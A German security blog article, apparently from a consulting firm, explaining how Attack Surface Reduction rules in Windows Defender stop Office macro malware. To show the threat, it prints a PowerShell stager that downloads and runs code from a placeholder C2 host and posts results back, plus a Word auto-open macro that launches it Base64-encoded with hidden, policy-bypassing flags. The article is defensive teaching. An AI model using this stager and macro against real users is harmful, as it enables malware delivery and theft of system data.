Attack Surface Reduction Regeln - Massnahmen gegen Office-Malware

Attack Surface Reduction Regeln

Massnahmen gegen Office-Malware

Michael Schneider
von Michael Schneider
Lesezeit: 11 Minuten

Keypoints

So schützen Sie Ihre Office-Installation

  • Anhänge in Phishing-Mails werden geöffnet und Makros ausgeführt
  • In Unternehmen werden Makros selten komplett deaktiviert
  • Das Nachladen von Malware geschieht meist über einen Stager aus Office-Anwendungen heraus
  • Microsoft erweitert Windows Defender um das Attack-Surface-Reduction-Regelwerk
  • ASR-Regeln können Malware in Office-Dokumenten detektieren und unterbinden

Das Thema Phishing ist eine nie endende Geschichte, da es mit geschickt aufbereiteten Emails und allenfalls begleitenden Sozial-Engineering-Techniken wie Telefonanrufe (Vishing) Angreifer gelingen wird, dass Zielpersonen den Anhang einer Email-Nachricht öffnen und somit Malware ausgeführt wird. Zudem gibt es Rollen in einem Betrieb, die erfordern, dass Email-Anhänge geöffnet werden. Das klassische Beispiel ist der Bewerbungsprozess, wo Unterlagen unter anderem per Email an die HR-Abteilung gesendet werden. Der Schutz vor Malware kann daher nicht nur von der Awareness der Benutzer abhängen. Technische Massnahmen sollten in der Lage sein, weiteren Schaden zu verhindern. In diesem Artikel erstellen wir zuerst eine einfache Form einer Malware in einem Office-Dokument und sichern daraufhin das System gegen diese Angriffstechnik ab.

Das Senden von Word- oder Excel-Dokumenten, die Makros beinhalten, ist nach wie vor beliebt in Phishing-Kreisen, da die Erfolgsquote entsprechend hoch ist. Auf den ersten Blick ist die einfachste Lösung gegenüber dieser Technik das Deaktivieren von Makros. Dies wiederum wird im Geschäftsumfeld selten umgesetzt. Ebenso wird die Reduzierung auf nur signierte Makros aufgrund des Aufwands zur Verwaltung von Zertifikaten und dem Signierprozess nicht implementiert. Makros mit einer Benachrichtigung zu deaktivieren scheitert daran, dass mit wenigen Klicks Makros wieder aktiviert werden können. Zudem enthalten Phishing-Emails Anleitungen, wie Makros aktiviert werden können. Es wird zudem die Neugier des Benutzers geweckt, den Inhalt der Datei anzuzeigen, was nur bei aktivierten Makros möglich erscheint.

Darum wird versucht zu verhindern, dass solche Emails überhaupt zum Endbenutzer gelangen. Das Aussortieren von Emails mit Office-Dokumenten auf dem Mail-Gateway ist zwar eine gangbare Lösung, die einen Grossteil der Angriffe abwehren vermag. Aber auch bei dieser Massnahme gilt, dass je nach Geschäftsprozess der Filter aufgeweicht werden muss und dementsprechend Ausnahmen definiert werden. Es sind typischerweise diese Ausnahmen, welche zu Sicherheitsvorfällen führen. Darum sollte es zusätzlich eine technische Sicherheitskontrolle geben, die Schaden verhindern kann, wenn eine bösartige Email-Nachricht zugestellt, der Anhang geöffnet und die Ausführung von Makros erlaubt wurde.

Erstellung einer Malware

Bei einer Office-Malware handelt es sich meist nur um einen sogenannten Stager. Ein Stager ist ein auf wenige Funktionen reduziertes Programm, welches die eigentliche Schadsoftware herunterlädt. Durch die auf Basis-Funktionen reduzierte Form ist ein Stager weniger anfällig auf die Detektierung durch eine Antiviren-Lösungen. Als Anschauungsbeispiel für einen Stager dient dieser PowerShell-Code:

$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.162 Safari/537.36 Scip/23.42.5 Edg/80.0.361.109"
$Destination = "http://www.google.com"
$ProxyUrl = ([System.Net.WebRequest]::GetSystemWebproxy()).GetProxy($Destination)
$TargetUrl = "https://malicious.example.org/c2"

If($ProxyUrl.AbsoluteUri.contains($Destination)) {
    $Result = Invoke-Expression(Invoke-WebRequest -Uri $TargetUrl -UserAgent $UserAgent -UseDefaultCredentials)
    Invoke-WebRequest -Uri $TargetUrl -UserAgent $UserAgent -UseDefaultCredentials -Method Post -Body $Result
}
Else {
    Invoke-Expression(Invoke-WebRequest -Uri $TargetUrl -UserAgent $UserAgent -Proxy $ProxyUrl -ProxyUseDefaultCredentials)
    Invoke-WebRequest -Uri $TargetUrl -UserAgent $UserAgent -Proxy $ProxyUrl -ProxyUseDefaultCredentials -Method Post -Body $Result
}

Der Code nutzt PowerShell- und .NET-Funktionen, um zu bestimmen, ob ein Proxy-Server verwendet wird. Ist dies der Fall, nutzt der Stager-Code den Proxy-Server und die Standard-Zugangsdaten des angemeldeten Benutzers, um eine Verbindung zum Command-and-Control-Server (C2-Server) aufzubauen. Im ersten Schritt lädt der Code eine Datei herunter, die direkt mit der PowerShell-Funktion Invoke-Expression ausgeführt wird. In diesem Proof-of-Concept wird nur eine Datei heruntergeladen, die den Befehl systeminfo enthält. Dabei handelt es sich um ein Systemprogramm, das Basisinformationen über das Betriebssystem ausliest. Der Stager übermittelt die ausgelesenen Informationen von systeminfo wieder zurück an den C2-Server. Mit diesen Informationen können Angreifer eine massgeschneiderte Malware für das jeweilige System nachladen.

Der PowerShell-Code wird Base64 kodiert, um die Intention zu verschleiern. Bei der Base64-Kodierung handelt es sich um eine Standardmethode, die von einigen Sicherheitsprodukten jedoch erkannt wird. Eine weitere Möglichkeit, um PowerShell-Code zu verschleiern, ist das Tool Invoke-Obfuscation von Daniel Bohannon. Der Vorteil einer Base64-kodierten Lösung ist, dass PowerShell direkt in der Lage ist den aus der Befehlszeile mittels powershell.exe -enc <code> zu dekodieren und auszuführen.

Der kodierte Stager wird in ein Word-Dokument eingefügt. Mittels einer Makro-Funktion wird beim Öffnen des Dokuments PowerShell aus Word aufgerufen und der Code ausgeführt:

Private Sub Document_Open()

    Set a = CreateObject("WScript.Shell")
    Dim b As String
    b = "JABVAHMAZQByAEEAZwBlAG4AdAAgAD0AIAAiAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACg" _
    & "AVwBpAG4AZABvAHcAcwAgAE4AVAAgADEAMAAuADAAOwAgAFcAaQBuADYANAA7ACAAeAA2AD" _
    & "QAKQAgAEEAcABwAGwAZQBXAGUAYgBLAGkAdAAvADUAMwA3AC4AMwA2ACAAKABLAEgAVABNA" _
    & "EwALAAgAGwAaQBrAGUAIABHAGUAYwBrAG8AKQAgAEMAaAByAG8AbQBlAC8AOAAwAC4AMAAu" _
    <redacted by scip AG>
    & "JABSAGUAcwB1AGwAdAAgAH0ACgA="

    a.Run "powershell.exe" & " -NoP -NonI -W Hidden -Exec Bypass -Command " & b, 0, False

End Sub

Dieser Beispielcode ist aufgrund der Verwendung von Base64 sowie dem Aufruf von PowerShell sehr auffällig und würde im Falle einer Untersuchung schnell als Malware identifiziert. Daher verwenden Angreifer zusätzliche Techniken, wie das Zusammensetzen von Code-Schnipsel zur Laufzeit oder das Einfügen von totem Code, der für die eigentliche Ausführung nicht benötigt wird, um bei einer simplen Analyse der Datei einen harmlosen Eindruck zu erwecken.

ASR – Attack Surface Reduction

Microsoft führte mit Windows 10 Version 1709 im Rahmen von Windows Defender Exploit Guard das Regelwerk Attack Surface Reduction (ASR) ein. Die ASR-Regeln können bereits auf einer Einzellizenz von Windows 10 verwendet werden. Ereignisse des ASR-Regelwerks können dabei mit Event Viewer ausgewertet werden. Zusätzliche Funktionen wie die Verwaltung, Monitoring und Analyse bleiben jedoch Windows 10-Enterprise-E5-Lizenzen und der Nutzung von Microsoft Defender Advanced Threat Protection vorenthalten.

Im April 2020 umfasste das ASR-Regelwerk 15 Regeln. Jede Regel verfügt über eine GUID. Mit dieser wird die Konfiguration des Regelwerks mittels einer Gruppenrichtlinie (GPO) oder per PowerShell-Befehl umgesetzt. Bei der Verwendung von Microsoft Endpoint Configuration Manager oder Microsoft Intune werden die GUIDs nicht benötigt. Die Konfiguration des Regelwerks erfolgt im Falle einer GPO unter dem Pfad Administrative Templates\Windows Components\Windows Defender\Windows Defender Exploit Guard\Attack Surface Reduction\Configure Attack Surface Reduction rules. Es bestehen drei Konfigurationsstufen:

Die folgenden ASR-Regeln sind als Gegenmassnahme für Office-Malware hilfreich:

GUID Regelname
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 Block executable content from email client and webmail
D4F940AB-401B-4EFC-AADC-AD5F3C50688A Block all Office applications from creating child processes
3B576869-A4EC-4529-8536-B80A7769E899 Block Office applications from creating executable content
75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 Block Office applications from injecting code into other processes
D3E037E1-3EB8-44C8-A917-57927947596D Block JavaScript or VBScript from launching downloaded executable content
5BEB7EFE-FD9A-4556-801D-275E5FFC04CC Block execution of potentially obfuscated scripts
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B Block Win32 API calls from Office macros
26190899-1602-49e8-8b27-eb1d0a1ce869 Block Office communication application from creating child processes

Die Regel Block Office communication application from creating child processes gilt nur für Microsoft Outlook und Outlook.com.

Die Konfiguration kann anschliessend über ein PowerShell-Cmdlet ausgelesen werden:

PS C:\> $AsrSetting = Get-MpPreference

PS C:\> For ($i=0; $i -lt $AsrSetting.AttackSurfaceReductionRules_Ids.Length; $i++) { Write-Host $AsrSetting.AttackSurfaceReductionRules_Ids[$i] ";" $AsrSetting.AttackSurfaceReductionRules_Actions[$i]}
01443614-cd74-433a-b99e-2ecdc07bfc25 ; 2
26190899-1602-49e8-8b27-eb1d0a1ce869 ; 2
3b576869-a4ec-4529-8536-b80a7769e899 ; 2
5beb7efe-fd9a-4556-801d-275e5ffc04cc ; 2
75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84 ; 2
7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c ; 2
92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b ; 2
9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 ; 2
b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 ; 2
be9ba2d9-53ea-4cdc-84e5-9b1eeee46550 ; 2
c1db55ab-c21a-4637-bb3f-a12568109d35 ; 2
d1e49aac-8f56-4280-b9ba-993a6d77406c ; 2
d3e037e1-3eb8-44c8-a917-57927947596d ; 2
d4f940ab-401b-4efc-aadc-ad5f3c50688a ; 2

Im Audit-Modus werden alle Aktivitäten im Event Log aufgezeichnet, die Ausführung jedoch zugelassen. Dieser Modus kann für den initialen Test des ASR-Regelwerk verwendet werden, um sicherzustellen, dass keine legitime Anwendung eingeschränkt wird. Wir empfehlen insbesondere die Office-Regeln im Block-Modus zu betreiben. Falls eine Malware detektiert aber erfolgreich ausgeführt und Malware nachgeladen wurde, gewinnen Angreifer aufgrund der Reaktionszeit auf die Detektion bereits an Vorsprung.

Anwendung des ASR-Regelwerks

Wenn das Word-Dokument geöffnet und das Makro ausgeführt wird, dann detektiert und blockiert Windows Defender die Ausführung des bösartigen Codes. Im Event Log Microsoft-Windows-Windows Defender/Operational werden darauf die folgenden Einträge protokolliert:

Windows Defender Exploit Guard audited an operation that is not allowed by your IT administrator.
 For more information please contact your IT administrator.
    ID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A
    Detection time: 2020-04-06T08:54:55.866Z
    User: W10\user
    Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Process Name: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
    Security intelligence Version: 1.313.861.0
    Engine Version: 1.1.16900.4
    Product Version: 4.18.2003.8

Windows Defender Exploit Guard audited an operation that is not allowed by your IT administrator.
 For more information please contact your IT administrator.
    ID: 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84
    Detection time: 2020-04-06T08:54:56.116Z
    User: W10\user
    Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Process Name: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
    Security intelligence Version: 1.313.861.0
    Engine Version: 1.1.16900.4
    Product Version: 4.18.2003.8

Windows Defender hat die Erstellung eines Child-Prozesses sowie das Injizieren von Code in einen anderen Prozess detektiert und kann diese im Block-Modus auch unterbinden. Damit würde zwar der Makro-Code ausgeführt, aber weiterer Schaden konnte verhindert werden.

Fazit

Das Attack-Surface-Reduction-Regelwerk ist eine sogenannte Defense-in-Depth-Massnahme. Wenn bereits vorgelagerte Sicherheitskontrollen umgangen worden sind, kann durch diese Massnahme eine Malware-Infektion allenfalls verhindert werden. Wird Windows Defender bereits als Anti-Virus-Lösung eingesetzt, lohnt es sich per GPO die ASR-Regeln zu aktivieren. Wir empfehlen mindestens die Office-relevanten Regeln im Block-Mode zu betreiben.

Über den Autor

Michael Schneider

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschriebener Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

Sie wollen die Sicherheit Ihrer Firewall prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
Bericht und Dokumentation

Bericht und Dokumentation

Michael Schneider

Einführung von CVSS v4.0

Einführung von CVSS v4.0

Michael Schneider

Rogue Device

Rogue Device

Michael Schneider

Windows LAPS

Windows LAPS

Michael Schneider

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv